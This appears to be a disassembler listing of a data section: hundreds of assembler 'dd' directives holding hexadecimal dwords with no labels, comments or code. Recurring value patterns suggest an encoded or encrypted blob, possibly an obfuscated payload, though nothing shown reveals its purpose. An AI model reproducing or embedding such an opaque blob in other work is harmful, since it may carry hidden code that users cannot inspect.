		dd 90EB7132h, 1F857ECBh, 1575A83Dh, 1B8F1132h, 8F668832h
		dd 0BAAF14B4h, 8C4F7322h, 91912C6h, 0FCB6775Eh,	1566443Fh
		dd 0DDE40A0Bh, 0BE223C91h, 5DBB4B3Eh, 2E3CD07h,	756CC8C0h
		dd 1565953Dh, 9E008832h, 0A26913F0h, 0D3077CC2h, 0F67AE0B7h
		dd 9569C438h, 15664435h, 1567A93Dh, 7D9A1132h, 0C81256FCh
		dd 50D3BBC7h, 0FC6CC103h, 1566113Dh, 381E7B86h,	0FAAD2D89h
		dd 0D5AA35A9h, 981E163Ah, 0F65C71B7h, 0C599B138h, 1568CB52h
		dd 186C1132h, 1BB6C44Bh, 27CCF79Fh, 1B534A13h, 7498A63Dh
		dd 0E77D0DBBh, 188F4ED8h, 18662232h, 5D23C59Dh,	6239373Fh
		dd 36F6AC8Fh, 997A7F4h,	1A2A1BD1h, 15668EBEh, 4F372432h
		dd 7D07EAB9h, 0A2E7930Dh, 50D377CEh, 0EC6CA703h, 2F9FA7BFh
		dd 73061BD1h, 0BC2569B3h, 14E84B53h, 0E0662232h, 9769C1CDh
		dd 1566883Dh, 15664EDBh, 0C023B932h, 38D74855h,	9C9D3648h
		dd 0FF945BB7h, 156CCB38h, 40181132h, 0E4370043h, 0D9FF950Ch
		dd 997A7F4h, 752A1BD1h,	773B6FB3h, 9E6936AFh, 15662234h
		dd 15669F3Dh, 75078832h, 44B5FB3Dh, 1566AE3Dh, 74381132h
		dd 3A26905Ah, 1569AD81h, 6CD52232h, 18713348h, 649ECDF6h
		dd 12179E67h, 50D3DDE9h, 0ED6CF203h, 2F9F0DBFh,	0EA9E4ED1h
		dd 19E02DE2h, 1A661132h, 15668EBAh, 15EF4B32h, 9C662232h
		dd 0FF940EB7h, 15696138h, 6C204432h, 61F9A5h, 4ABD1C5h
		dd 0B3DB7589h, 0E4E3827Fh, 536CC12Eh, 1577F852h, 288D8832h
		dd 0AB473410h, 0D68F7362h, 507A37DAh, 1AB883F2h, 7D078685h
		dd 0AFB82426h, 156E9E3Dh, 94698832h, 15664430h,	138F4352h
		dd 2C661132h, 1AE6F2D5h, 50D3BB1Eh, 756CC103h, 9EA89A54h
		dd 90EBE9E5h, 1F857ECBh, 15662CDBh, 95274E32h, 0E4D173FEh
		dd 0BB225E96h, 755DE6A9h, 1564983Dh, 74068832h,	0EA07B4B9h
		dd 1561CBE2h, 594D1132h, 4D69E4D8h, 32E3CD0Fh, 1A6CC8C0h
		dd 156601B8h, 156D6132h, 0D664432h, 0C44FFBFFh,	8C165B60h
		dd 0E4E34E6Fh, 526CA72Eh, 156EAC3Dh, 93691132h,	15668830h
		dd 1B8F2552h, 0F2662232h, 0EB843428h, 0DC6F9438h, 1767FCD4h
		dd 51C4A2Bh, 0EA9A90EEh, 0F657CD87h, 90EBBC38h,	1F8518CBh
		dd 1567983Dh, 759F8832h, 0FCB8FB3Dh, 1566223Bh,	169D99F9h
		dd 26F48306h, 0C59925E1h, 0DCE74452h, 128FD3EEh, 0A3668832h
		dd 0F5D1F06Ch, 7507138Bh, 156603DBh, 0FC3DB832h, 30751C57h
		dd 0B57F7DF3h, 0CAA83D51h, 95207BE8h, 9C075FE1h, 0FF940DB7h
		dd 19EA1E38h, 0FC668832h, 15664435h, 0DB0D6F1Fh, 0D342E46Eh
		dd 0F67A79B7h, 1A9E0338h, 156635B1h, 1E8F7132h,	0CD668832h
		dd 8A3BDF1Fh, 6C2E9308h, 9400F543h, 74C3E1F1h, 92E8E85Ah
		dd 0A099DEDDh, 1F852077h, 0ECE305C7h, 0E96CA708h, 7306F2CDh
		dd 0ED7C488Ah, 26E30153h, 756CAEC0h, 738CD7B2h,	0D657C8B3h
		dd 0E4E34E53h, 526CA72Eh, 156AAA3Dh, 9B691132h,	15668834h
		dd 1566C23Dh, 0C70E2232h, 75B28B95h, 16ED87C7h,	1A664432h
		dd 0EA07F185h, 0F6575487h, 0FC93E838h, 15664421h, 45BCA72h
		dd 6CA7A6F9h, 0E1BC9E3Ah, 11B3D4F8h, 7495864Ah,	2F9F94BFh
		dd 0A00682D1h, 156AAD2Dh, 0A93C2232h, 7E6150CEh, 935BAFCAh
		dd 0EA075F43h, 90EFDEE2h, 1F8CE305h, 156680DBh,	1F3FBA32h
		dd 2FC072AFh, 0E4E3D7D0h, 526C6B2Eh, 0ACDE2252h, 0EED12DC2h
		dd 2C627953h, 936932F3h, 15664433h, 50D3DDCBh, 756CF203h
		dd 0E77C5B8Ch, 1EE54B51h, 0FC662232h, 15661134h, 68ECC852h
		dd 98078B56h, 0F65CDBB7h, 156EF838h, 5AC18832h,	0D9C03EB7h
		dd 0C599A013h, 2EE398CBh, 0FC6C62C0h, 1566443Dh, 0A1C2790Fh
		dd 2E6A307h, 0E069B7A9h, 965813E7h, 0F6660B8Fh,	90691138h
		dd 15668886h, 9400B152h, 74B688DAh, 99794F4h, 0E92182D1h
		dd 15664DDBh, 146E1832h, 8370DC0h, 720EE966h, 7586361Fh
		dd 78EE9B9h, 19661132h,	0ABA67AAFh, 418AB3D3h, 160B4344h
		dd 7C582834h, 15EB87C2h, 4F664432h, 50D3DD53h, 756CF203h
		dd 17AA3754h, 7438B862h, 2F9FA7BFh, 78F1BD1h, 0F9668832h
		dd 15DF25B8h, 3386BCF7h, 0E76BDCB6h, 0F95FFCE2h, 9B692424h
		dd 15662231h, 74919A54h, 9E6958CDh, 15664425h, 156630DBh
		dd 0BE0D4932h, 4C73A117h, 0A6D74345h, 10871EBCh, 9C7885D9h
		dd 0FF94B7B7h, 1568AD38h, 0E6E52232h, 0DAB78D2Bh, 634F88Fh
		dd 0D366E0D5h, 997A7F4h, 75211BD1h, 7D077BB9h, 9B4FF783h
		dd 50D3DDCEh, 0FC6CF203h, 1566883Dh, 7676B579h,	0CE0388EEh
		dd 0E5F8CCFh, 983E3BA9h, 0F65CBDB7h, 0A2694238h, 48F71E4h
		dd 6A668832h, 0FA839B2Dh, 52225BE7h, 6C48826Fh,	0D7DC205Dh
		dd 0C5992553h, 156632DBh, 0E2B65A32h, 41A620A7h, 3E57EAC8h
		dd 8EE8FE7h, 1576F8B7h,	65FE8832h, 59589695h, 92C81A3Dh
		dd 69F3224Eh, 90EF5D8Bh, 1F8CB671h, 15662BDBh, 0E7D44E32h
		dd 4DE490DDh, 90A00944h, 1F853EC3h, 90697171h, 1566883Dh
		dd 15664EDBh, 830D9732h, 0F0E6E1CBh, 0AB808D18h, 2E711A11h
		dd 5FC14A53h, 9D69D144h, 1566883Fh, 15664CDBh, 0EF70CA32h
		dd 2408620Ah, 50D377D9h, 0FC6CA703h, 1566223Dh,	92C47C1h
		dd 0F9352A7Bh, 32D643A2h, 989785D7h, 0F65CE8B7h, 0C5997038h
		dd 156BAC52h, 0BC802232h, 429F9693h, 72CBF280h,	4758CF13h
		dd 0F2EC7B68h, 1AE81E53h, 75668832h, 156643DBh,	0A30B7032h
		dd 0BF6BE405h, 90EFE9CBh, 1F8CB675h, 1561CB52h,	5C451132h
		dd 7DD4650Dh, 13E94B9Eh, 94662232h, 53FFC9F4h, 90A0E93Ch
		dd 1F8558C3h, 1FEB2D7Eh, 75661132h, 15660E3Dh, 0D0EC4432h
		dd 798D4A53h, 9769EA54h, 15668835h, 1567CB3Dh, 0EA932232h
		dd 0F6537487h, 90EB7038h, 1F857ECBh, 1567A63Dh,	0EA931132h
		dd 9400E8E2h, 75B7D8FCh, 90EF4353h, 1F8CE3E9h, 0C1DCEE52h
		dd 8B88C440h, 0E4E3E453h, 516CF22Eh, 15668DDBh,	0F2937532h
		dd 400EAA54h, 0ECDD62BCh, 24233DCDh, 73064ED1h,	10F5E1B3h
		dd 156600DBh, 87218B32h, 6FD13A85h, 94A639C2h, 29637B6h
		dd 980785F9h, 0F65CBDB7h, 1569CB38h, 0B2E91132h, 45B73FE9h
		dd 691DFD58h, 46415C95h, 1AB6EEB1h, 15668FBEh, 74062432h
		dd 74BCA954h, 0E72D94BBh, 1B8F82D8h, 3B664432h,	36806045h
		dd 0CDFABB0Fh, 0C7BC54C1h, 0E4E38201h, 566CC12Eh, 0DEED7752h
		dd 0BDA10954h, 188F2578h, 0EA662232h, 258AE25Ah, 0F84D2152h
		dd 1AC280D4h, 9B08DE5Ah, 0A59F718Eh, 0A099E9E9h, 1F857577h
		dd 15662EDBh, 0AB1E9F32h, 1C978ADBh, 65E5DC86h,	0ECE3AF4Ah
		dd 0FC6CF208h, 1566883Dh, 5E920579h, 12068C09h,	6667FA72h
		dd 0EAF14853h, 90EFBCE2h, 1F8CD07Dh, 156619DBh,	1372DD32h
		dd 616B0346h, 0E4E3E4F6h, 466CF22Eh, 15616052h,	0CEA54432h
		dd 0B6FB0DD1h, 4F3E4242h, 0FD38DA52h, 1566443Fh, 458958D6h
		dd 887FC3CAh, 182937CFh, 74071FDEh, 1570A83Dh, 9B691132h
		dd 15668822h, 15664FDBh, 0FFF6DB32h, 22AFD97Ah,	3831E23Ch
		dd 558EE5Ah, 730642F4h,	36E9D1B3h, 0FFB50954h, 0EA0725F8h
		dd 0F6576787h, 156FF838h, 85A68832h, 0C6851BB9h, 1A49307Eh
		dd 156601B3h, 156D6132h
		dd 2C94432h, 9C6AE42h, 0BCD4858Dh, 0ECE30587h, 0FC6CA708h
		dd 1566223Eh, 0EC276746h, 5732208Bh, 5F6EE967h,	7506F2CDh
		dd 9E007052h, 7506E9C8h, 9C072553h, 0FF9471B7h,	42317138h
		dd 0AA00D36Ah, 96073898h, 0F67D478Fh, 91691138h, 15668B4Dh
		dd 156DCF3Dh, 1A062232h, 156611B2h, 0CCEDEE32h,	156DAD53h
		dd 0E682232h, 312E0704h, 6F5727A2h, 0E4E38298h,	536CC12Eh
		dd 15661DDBh, 54722632h, 14DC75DDh, 0F63BF59Eh,	240EE87Bh
		dd 0ED9C1EFCh, 2423F1CDh, 916928D1h, 1566113Ch,	156681DBh
		dd 2E181732h, 0A2346EA1h, 90EBBF8Ch, 1F85B2CBh,	1568CC3Dh
		dd 1C8F2232h, 0BF661132h, 58B25F9Fh, 0D2A1D41Eh, 1A8FF2CDh
		dd 54661132h, 90674DF7h, 2988E20Eh, 0E6F532F3h,	90EF659Bh
		dd 1F8C7A9Dh, 0AA7EF652h, 3CE24032h, 0E4E3D753h, 536C6B2Eh
		dd 0CE84B52h, 0FC662232h, 15661126h, 3782D859h,	0B886AF63h
		dd 0B9A8D917h, 594D53E8h, 4D69E4D8h, 2FB02C53h,	0EA9FDE95h
		dd 0F6575487h, 15726138h, 4B0C4432h, 18F21232h,	3C0067E1h
		dd 0AC224322h, 3D92B4FFh, 90EB8505h, 1F852BCBh,	1AB677CEh
		dd 156645BBh, 90EFDA32h, 1F8CE38Dh, 4D0C3352h, 0FC074113h
		dd 15662222h, 0A1DE126Dh, 62B4D4Bh, 499FEEFAh, 10122E1Ch
		dd 99794F4h, 752082D1h,	5CBD8EB3h, 7D071DF6h, 879AB532h
		dd 50D377CBh, 756CA703h, 0B798C5B3h, 75062D4Bh,	0DFB90953h
		dd 74685F48h, 0ECE3AF53h, 0ED6CF208h, 198F58CDh, 6C664432h
		dd 0E4A357B4h, 995E4C78h, 9C857E5Ah, 0FF9487B7h, 12E32D38h
		dd 1A661132h, 156689B1h, 90A0B132h, 1F853EC3h, 19EB1E74h
		dd 1A668832h, 156642B6h, 15E92D32h, 0FC661132h,	1566883Bh
		dd 4BABA320h, 17813373h, 5A0C793Dh, 94697EE6h, 15664433h
		dd 50D3DDC7h, 0FC6CF203h, 15668823h, 548CFFAAh,	4F324257h
		dd 8FD69519h, 0B1E62105h, 0ECE3C909h, 0EC6CC108h, 1567913Dh
		dd 0EA9A8832h, 1B8E24E2h, 0A3662232h, 8588E3F9h, 3079AD3Bh
		dd 12C9F267h, 1A38D78Bh, 0E007E18Dh, 0E7A10DBBh, 0D3934ED8h
		dd 0F67AD3B7h, 1A8F5738h, 14668832h, 0F41DA85Eh, 967866B8h
		dd 3F785CECh, 0F20EB012h, 1AF28962h, 156623B7h,	0A099E832h
		dd 1F85B977h, 156641DBh, 0CD953632h, 90EB9122h,	1F85B2CBh
		dd 8FDC1252h, 4B098850h, 23DADBB3h, 0EA078344h,	1560ADE2h
		dd 5E402232h, 8F02530Fh, 0E7D50DBBh, 78F4ED8h, 97662232h
		dd 0C4DCF0B9h, 0D12A456Fh, 370957A8h, 776B9F48h, 0E4E3D775h
		dd 536C6B2Eh, 9EA5CF52h, 2E0E43C3h, 0ECD73346h,	24233DCDh
		dd 75064ED1h, 4A96558Ch, 97DD776Dh, 9869E910h, 15664430h
		dd 98071B84h, 0F65CE8B7h, 0DFE6E838h, 108E1788h, 0F1662232h
		dd 8732E950h, 0EC07D369h, 0FD0694CDh, 1566223Ch, 280A71FFh
		dd 0CD0524FFh, 0FDE514D2h, 4A308BD4h, 0C5ED7769h, 0A2E30153h
		dd 756CAEC0h, 68239989h, 55A3AF45h, 7507FEBBh, 4C072465h
		dd 743DDB64h, 99794F4h,	0FC2082D1h, 1566443Dh, 7C0A0E1Bh
		dd 0D0E24F74h, 8417D458h, 7D5F1B93h, 0CA1FC8DFh, 156618DBh
		dd 0D2BAE632h, 6B68E761h, 0A0998DFAh, 1F852077h, 0EDD98752h
		dd 0ECE3C953h, 1A6CC108h, 156603B3h, 156B6132h,	0B8C54432h
		dd 8EBC5584h, 0E0AEE562h, 0EA2B202Ah, 1574ADE2h, 0B72D2232h
		dd 4A12B7Fh, 0FE10063Fh, 0B35C669Dh, 472F4E3Eh,	0E7DD94BBh
		dd 9B6982D8h, 15664429h, 1573A33Dh, 58F1132h, 34668832h
		dd 750BE8C5h, 6D1379FEh, 0F803BD7Dh, 96D22A42h,	0F6666D8Fh
		dd 90692238h, 1566116Fh, 1546033Dh, 0FC064432h,	15662221h
		dd 0A666C68Bh, 7204651Dh, 3AFFB61Eh, 0B2B327C1h, 1A023D53h
		dd 156688BCh, 90A02532h, 1F853EC3h, 4B0EE861h, 0EDA836D2h
		dd 2423F1CDh, 0FC9F28D1h, 1566113Eh, 0FE6C9FCBh, 106AD1B1h
		dd 0AE8F9B5Ah, 2F9F94BFh, 0EA9382D1h, 90EFB8E2h, 1F8CD065h
		dd 0E4E3D7C7h, 526C6B2Eh, 4BE12CCAh, 759EE583h,	0E8C8B48Ah
		dd 0DFEDEE6Eh, 50D3BB53h, 1A6CC103h, 156606B4h,	15746132h
		dd 3F074432h, 0D58A814Bh, 0EC16FB5Ah, 0A6C04308h, 0EC1BD5C7h
		dd 2F9FA7BFh, 93691BD1h, 15668838h, 0E5D94B52h,	6AEA354h
		dd 0C599704Ah, 156682DBh, 0C32EAC32h, 8B3CDB62h, 9CF0A5DDh
		dd 0FF94D3B7h, 10E44B38h, 75662232h, 743F40CEh,	3CDB0BCEh
		dd 156CA732h, 1501A73Dh, 759A1132h, 1A9C0354h, 156642BCh
		dd 0D1A9A332h, 7447D6EEh, 9970DF4h, 1A214ED1h, 156623BBh
		dd 100EE832h, 7580EA4Ch, 8396C554h, 2AAF98D4h, 0EA077BA6h
		dd 0F657CD87h, 1569AD38h, 9D6D2232h, 0C68DEB89h, 2AD68766h
		dd 8F2596B8h, 0ECE3AF8Ah, 0EC6CF208h, 0FCB677CBh, 15664434h
		dd 6091128Bh, 90EFD9CEh, 1F8C7A6Dh, 0E4E382CBh,	566CC12Eh
		dd 1575F952h, 0FE8E8832h, 3861271Bh, 0E6A41F2h,	0AAB0809Eh
		dd 12B633DCh, 0C4D14B42h, 9069736Ah, 15661132h,	7D9EE96Ah
		dd 871C4DC4h, 50D3DDCAh, 0FC6CF203h, 15668837h,	5F4700C1h
		dd 0ECE3AFDFh, 756CF208h, 1566053Dh, 75064432h,	0EA074353h
		dd 90EFEDE2h, 1F8C7A51h, 156641DBh, 0A0E26C32h,	90A00866h
		dd 1F8594C3h, 350EBC71h, 0FC9A03A5h, 1566113Bh,	0AC9FC944h
		dd 4024109Ah, 0A099DB9Fh, 1F852077h, 1567023Dh,	759E4432h
		dd 156631DBh, 0F96D8F32h, 41713B3Ah, 0E20B2901h, 0BD7445BAh
		dd 4E6A32D5h, 0ECE30553h, 756CA708h, 1565A33Dh,	0A2691132h
		dd 0AAD9EEE2h, 0C599252Fh, 1561AF3Dh, 92691132h, 15668833h
		dd 72E3CDCBh, 0E06CC8C0h, 154FACB1h, 1A6682D1h,	156711B7h
		dd 7E82D32h, 0FC661132h, 1566883Fh, 0FDA1DF4Dh,	0A3C0F608h
		dd 2017C9C8h, 0E4E34EDFh, 566CA72Eh, 156631DBh,	0E7377A32h
		dd 808345FEh, 10F5662Ch, 0ECF04987h, 3F8391C2h,	15CE8B5Ah
		dd 0A099B1B9h, 1F851377h, 156600DBh, 1B60B632h,	4225A179h
		dd 0ADC7A2FEh, 5F7B0600h, 90EB6CA3h, 1F857ECBh,	1AB6DDCAh
		dd 156614BAh, 0A793E832h, 90EF25F0h, 1F8CD05Dh,	157C943Dh
		dd 9F698832h, 15664426h, 15662DDBh, 6F727832h, 778CAA8Dh
		dd 0A12AD9BCh, 0AAED12CFh, 99794F4h, 0E92582D1h, 4E50915Ah
		dd 966942D7h, 15661120h, 156684DAh, 4B800332h, 4EA72B96h
		dd 3522551Ah, 9369D360h, 15664423h, 15662EDBh, 70B1D532h
		dd 94A9ED94h, 0D13E248Bh, 0A0994394h, 1F852077h, 156699DBh
		dd 9F8F3232h, 0E80BE1EEh, 0BDF9CA7Dh, 0E4748E38h, 90EBB48Bh
		dd 1F8518CBh, 156E9D3Dh, 9B698832h, 15664430h, 0C5994352h
		dd 1570963Dh, 73068832h, 5607A3B3h, 156628DBh, 35B68F32h
		dd 3508285Ch, 7483036Eh, 156633DBh, 92B07832h, 0AF9C0026h
		dd 4196290Eh, 4130F758h, 90EF4592h, 1F8C7A59h, 156BAC52h
		dd 927A2232h, 87861BB8h, 45C63878h, 1A2B85F1h, 463CE985h
		dd 90A0706Bh, 1F8594C3h, 1563AD71h, 49B82232h, 7D32A517h
		dd 0FFCCBAD3h, 1571CB3Dh, 78F2232h, 96661132h, 19FA9615h
		dd 0B8EC5450h, 0CCD34185h, 467972B3h, 50D377C9h, 0FC6CA703h
		dd 1566223Eh, 0B882B0C6h, 6900AB93h, 0C2024152h, 2F9FA7BFh
		dd 1A061BD1h, 15668AB8h, 0E0072432h, 75B6DD53h,	1575F952h
		dd 0AD678832h, 0F61B4720h, 50B8691Bh, 9A037748h, 892EB5Ah
		dd 99691FEBh, 15662232h, 43067053h, 1566073Dh, 733D4432h
		dd 7435268Ah, 0E71594BBh, 1C8F82D8h, 20664432h,	4C000460h
		dd 407DD290h, 9970DF4h
		dd 1A254ED1h, 156638B1h, 85D37132h, 156699DBh, 0F9627D32h
		dd 78732701h, 0EC10CD5Dh, 289BB322h, 7D07FCA6h,	91978E05h
		dd 1574983Dh, 94698832h, 1566443Eh, 156625DBh, 47E40B32h
		dd 0B2BB386Fh, 2423F1CDh, 996928D1h, 15661126h,	156C6152h
		dd 20894432h, 0C96C9CC9h, 4D222D71h, 74A5373Dh,	2F9FC1BFh
		dd 950628D1h, 0FC06EBF6h, 1566883Fh, 325D26CBh,	0D37581F4h
		dd 0DE3A95B5h, 0BDDDEE22h, 0EA072582h, 1574CBE2h, 186A1132h
		dd 0F7A14DE9h, 0E69B4DEAh, 0FB376D61h, 7ADF9787h, 0E7110DBBh
		dd 0D39F4ED8h, 0F67AD3B7h, 1C8F5E38h, 75668832h, 0AF05426Fh
		dd 528831D9h, 20F6C55Ah, 198FE8A5h, 18664432h, 3EF81C26h
		dd 0F2031F2Ah, 1A048724h, 156642B7h, 0F1B7A332h, 743A054Fh
		dd 24233DCDh, 98934ED1h, 0F65CDBB7h, 0C599E438h, 1567063Dh
		dd 9C9E4432h, 0FF9459B7h, 90A0E838h, 1F8594C3h,	0AD00247Dh
		dd 4435C970h, 7D074A6Ah, 0EC088630h, 156ECA3Dh,	91692232h
		dd 15661130h, 0A099E952h, 1F857577h, 0C4E74452h, 9769EC1Ah
		dd 15668837h, 0FBDC554h, 90EB431Ah, 1F852BCBh, 5ACE3652h
		dd 9EDD79DAh, 7472DB85h, 48FC1CDh, 0B3668832h, 6471A2CCh
		dd 85180468h, 0D91DF84Bh, 0E722A6D6h, 156ECD3Dh, 97692232h
		dd 15661130h, 90EFE952h, 1F8CB64Dh, 0E4E3E4C7h,	586CF22Eh
		dd 15756052h, 0DA554432h, 213B0C5Dh, 2EDBA1CFh,	0C67BFE9Ah
		dd 53BBCD34h, 4F3F75B8h, 15661EDBh, 6096BC32h, 69DBCBDh
		dd 203BEBCCh, 0DCCBADD3h, 6C2FE053h, 9C698C05h,	1566223Dh
		dd 15661BDBh, 7FD37232h, 0D1EFCB5Eh, 0EAA1B433h, 0F6575487h
		dd 15746138h, 7B0D4432h, 0A9117ACBh, 3E937CD9h,	56FA2B1Bh
		dd 0F78BEB4Eh, 2F9FA7BFh, 75931BD1h, 156684DBh,	8C3CF632h
		dd 9B52FA75h, 0B19AE04Dh, 0C599E975h, 156CC53Dh, 42062232h
		dd 15E21E68h, 74668832h, 0E7E1C1BBh, 9C6928D8h,	1566112Eh
		dd 15746052h, 0D1DF4432h, 4704303h, 34FB64DCh, 0AC30F8D3h
		dd 43A12D2Dh, 7439746Ah, 1569F852h, 0C8F38832h,	151B8A48h
		dd 0E03C44EBh, 0B3230300h, 90A0E977h, 1F8558C3h, 198FDA7Fh
		dd 4661132h, 0BB3AF14Fh, 3F8F9271h, 7D597A83h, 0C9915CBBh
		dd 15670D3Dh, 0EA9F4432h, 0F6576787h, 90EBE938h, 1F85B2CBh
		dd 75B6BBCBh, 156633DAh, 6AEB4032h, 0F3D83794h,	0F74E5D65h
		dd 0C25A86D1h, 0E7E7139Fh, 0CFFDD10h, 7479F36Dh, 0E7E5A7BBh
		dd 68F1BD8h, 30668832h,	99AE514Ch, 0FDDF9B2Ah, 3D4532FEh
		dd 0A178476Eh, 90A00DC5h, 1F853EC3h, 188F7167h,	0DD668832h
		dd 6984479Bh, 773AAFEEh, 81525FF2h, 1560053Dh, 94694432h
		dd 15662232h, 38517953h, 759A1429h, 0ECA1CF54h,	50D3DD53h
		dd 0ED6CF203h, 2F9F0DBFh, 0ED064ED1h, 1562A23Dh, 0AB001132h
		dd 0EA079CCDh, 1577ADE2h, 7BB62232h, 0CFD0D722h, 609327A6h
		dd 428A2CC0h, 9C2B41FDh, 0FF949AB7h, 62D8E838h,	941D171Ah
		dd 0F85FC1D1h, 90A07067h, 1F8594C3h, 1575AD71h,	83F02232h
		dd 437390Ch, 0CDC6A0E5h, 59161305h, 44CB760Bh, 0E54C790Eh
		dd 1F8F5AE7h, 74664432h, 2E75C400h, 0DAB258A4h,	50D37734h
		dd 0FC6CA703h, 1566223Dh, 0E9986DD6h, 57253239h, 0C0FE8208h
		dd 98C78ACEh, 0F65CE8B7h, 0EA9E7438h, 3EC4BE2h,	1A662232h
		dd 156601BAh, 156D6132h, 974432h, 8315C203h, 23103203h
		dd 9AE30149h, 0E06CAEC0h, 749AD752h, 99794F4h, 753482D1h
		dd 156648DAh, 7DEEC032h, 9C69B2D0h, 42835F76h, 0C3ED22BCh
		dd 7D07DB69h, 0E824A5D8h, 50D377CBh, 1A6CA703h,	156628BCh
		dd 0DEE77132h, 44C830D8h, 98072552h, 0F65CDBB7h, 1561F838h
		dd 0CC2D8832h, 0AD7F437Dh, 1AB6DD48h, 156607B4h, 188FE832h
		dd 60664432h, 171065A5h, 9D76017Ah, 2DB02834h, 0FC071F63h
		dd 1566223Dh, 0F3B95B99h, 0E15D1154h, 14CB8087h, 9C496CEFh
		dd 0F67CF4B7h, 90A07438h, 1F8558C3h, 48E4275h, 0A7661132h
		dd 0CD60F883h, 0F7A899Fh, 0A100097Eh, 673DAADh,	943E52B9h
		dd 0DF2BD6D2h, 8C0E4372h, 0FC84896Bh, 1566883Fh, 0DC4FA50Ah
		dd 0ABF5CFF4h, 0B0BCB060h, 156961E6h, 75D64432h, 0FEB1381Bh
		dd 201E3A0Ch, 0BCA1CA2Ch, 50D3BB82h, 756CC103h,	0B462AF54h
		dd 156684DBh, 58058B32h, 0C9FA2CE3h, 2F71F89Fh,	90EBE94Bh
		dd 1F857ECBh, 156630DBh, 0A8BD3432h, 0FB2071D6h, 0B738F8AEh
		dd 2DDD7450h, 0EAB1EDF8h, 1DE187E2h, 1A664432h,	156620B8h
		dd 9C077132h, 0FF941BB7h, 739A2438h, 7494338Ah,	99794F4h
		dd 0EC2182D1h, 0E806865Ah, 7E02D83h, 0FC661132h, 1566883Fh
		dd 79EA1845h, 11A801FBh, 9B208849h, 50D377CBh, 0FC6CA703h
		dd 15662220h, 204826DBh, 5B0657C6h, 6A6C37A6h, 1451402Fh
		dd 90EBBA35h, 1F85B2CBh, 75B6BBCEh, 15662CDBh, 63843C32h
		dd 6FD98A85h, 95E091Ah,	94FF46A5h, 7C4BAEF3h, 90EFE900h
		dd 1F8CB6A5h, 1567A03Dh, 759F1132h, 156681DAh, 982A6032h
		dd 0A037267Eh, 4B9AD3ADh, 10FB7BB3h, 0D3077F53h, 0F67AD3B7h
		dd 94065638h, 193C35C4h, 156CAD64h, 39872232h, 1AC99FD6h
		dd 9E4D57D7h, 0EB722C53h, 108FFD94h, 0EF661132h, 0F196D520h
		dd 2423F1CDh, 989328D1h, 0F65CE8B7h, 94067138h,	0D444BAF3h
		dd 1563CB48h, 2C211132h, 7427B77Fh, 9C9F94CDh, 0FF94B9B7h
		dd 1574F838h, 0BF3C8832h, 41CC21E1h, 5BBC9276h,	50E12C9Ch
		dd 6CB662Bh, 997C1F4h, 0FC3928D1h, 15661123h, 0EEB5E808h
		dd 0B727359Eh, 0ADE502E9h, 496DBF06h, 0E70EE0F2h, 7306DA62h
		dd 0F7BBE3B3h, 1B70AB54h, 50D37753h, 0E06CA703h, 2F9FA7BFh
		dd 0EA931BD1h, 156E61E2h, 73E94432h, 95835492h,	90EFC4B2h
		dd 1F8C7AADh, 156654DBh, 8F099932h, 7372E4FEh, 0C02184DDh
		dd 4167D653h, 0E4E3E4C7h, 5A6CF22Eh, 0C0503152h, 0FC063561h
		dd 15662234h, 6D452250h, 7407924Fh, 0E91D7B5Ah,	1577CBF5h
		dd 0CE7A1132h, 577FE9D8h, 3137211Ah, 5F980039h,	0EA8CA106h
		dd 0F657CD87h, 0AB9E2438h, 79A6249Dh, 0ECE39C53h, 756C6B08h
		dd 0D588C554h, 0ABA5A382h, 74216A77h, 9C9A58CDh, 0FF948FB7h
		dd 156CCB38h, 18A21132h, 383AEE31h, 733E5605h, 997A7F4h
		dd 0E0211BD1h, 4E08C45Ah, 0A099B8C8h, 1F851377h, 1575F852h
		dd 7B938832h, 8A0B0111h, 0AFDB8BF8h, 0A4636B7h,	0D7F37984h
		dd 0DF05FAA8h, 98076365h, 0F65CE8B7h, 0ED8738h,	0FC664432h
		dd 15662222h, 853FC5E1h, 2223A5B8h, 0F801DD08h,	0B9761658h
		dd 0E906C1CDh, 15600F3Dh, 9A694432h, 15662232h,	0DAE39853h
		dd 756C62C0h, 1564C63Dh, 4F342232h, 745ED2B2h, 9970DF4h
		dd 75214ED1h, 749D9D3Dh, 156603DBh, 62E47932h, 5DEF2FB4h
		dd 17AD0413h, 0F04A8139h, 7DA57A2Ch, 0D66060FFh, 156FA83Dh
		dd 0EC061132h, 33066EB3h, 0FC0739F1h, 1566223Bh, 0B8A117CBh
		dd 551E38C0h, 50D3BB00h, 0EC6CC103h, 2F9F94BFh,	0EA9A82D1h
		dd 14EB4BE2h, 0EC662232h, 0E7B594BBh, 440682D8h, 1A3D2552h
		dd 156624B9h, 4E959032h, 74335231h, 15664CDBh, 8EC7D732h
		dd 4CE5DE3h, 0E4E34E3Ah, 4A6CA72Eh, 156EA83Dh, 73061132h
		dd 44274B89h, 0D90E256Ah, 75B29952h, 749E9A54h,	24233DCDh
		dd 989E4ED1h, 0F65CDBB7h, 1CE81E38h, 75668832h,	7379A4B2h
		dd 7480BB8Bh, 156C9E3Dh, 94068832h, 48BB31EAh, 743D750Dh
		dd 9E69C1CDh, 15668833h
		dd 0B6E3CDCBh, 756CC8C0h, 4E98A561h, 90A0E9CBh,	1F8558C3h
		dd 0CEB2D6Dh, 75661132h, 1A8EE952h, 72664432h, 0A06FA296h
		dd 0A45183F5h, 3C5EF8F1h, 743CF530h, 0FC326C5Ah, 156AF8ACh
		dd 0A5A88832h, 0E909456h, 78C8DCACh, 0A099BCC8h, 1F85B977h
		dd 157ECB3Dh, 68F2232h,	0C7661132h, 0C041A86Dh,	0D6262BF3h
		dd 236D5AC3h, 5B7CA734h, 90EB5CDCh, 1F857ECBh, 156629DBh
		dd 592A2432h, 0ACB450E7h, 1180E961h, 9369F2CDh,	15661135h
		dd 1567033Dh, 9C9A4432h, 0FF9485B7h, 1568F838h,	90DA8832h
		dd 316696BBh, 0DF48507Ah, 1192ADA0h, 9970DF4h, 0EC394ED1h
		dd 64E6A5Ah, 0AEA1EE3h,	1A668832h, 15665DBBh, 1572CB32h
		dd 0D3D81132h, 746F8CF6h, 0EADC4BCCh, 0BAC46F28h, 0CE6094C1h
		dd 0A09973F6h, 1F857577h, 9807DE52h, 0F65CE8B7h, 1FE58738h
		dd 75664432h, 0BCACA354h, 0DFD91EAFh, 1AB67753h, 15664BBFh
		dd 0C5E64232h, 1563F817h, 4AB8832h, 74DBB989h, 156DA93Dh
		dd 73061132h, 946952B9h, 15664432h, 0BEE3AB53h,	0FC6CFBC0h
		dd 1566883Fh, 0CC640563h, 6DDC5C42h, 0D7696738h, 1560616Eh
		dd 3F4E4432h, 3C40FDB8h, 188F1558h, 0E0668832h,	4B8328FAh
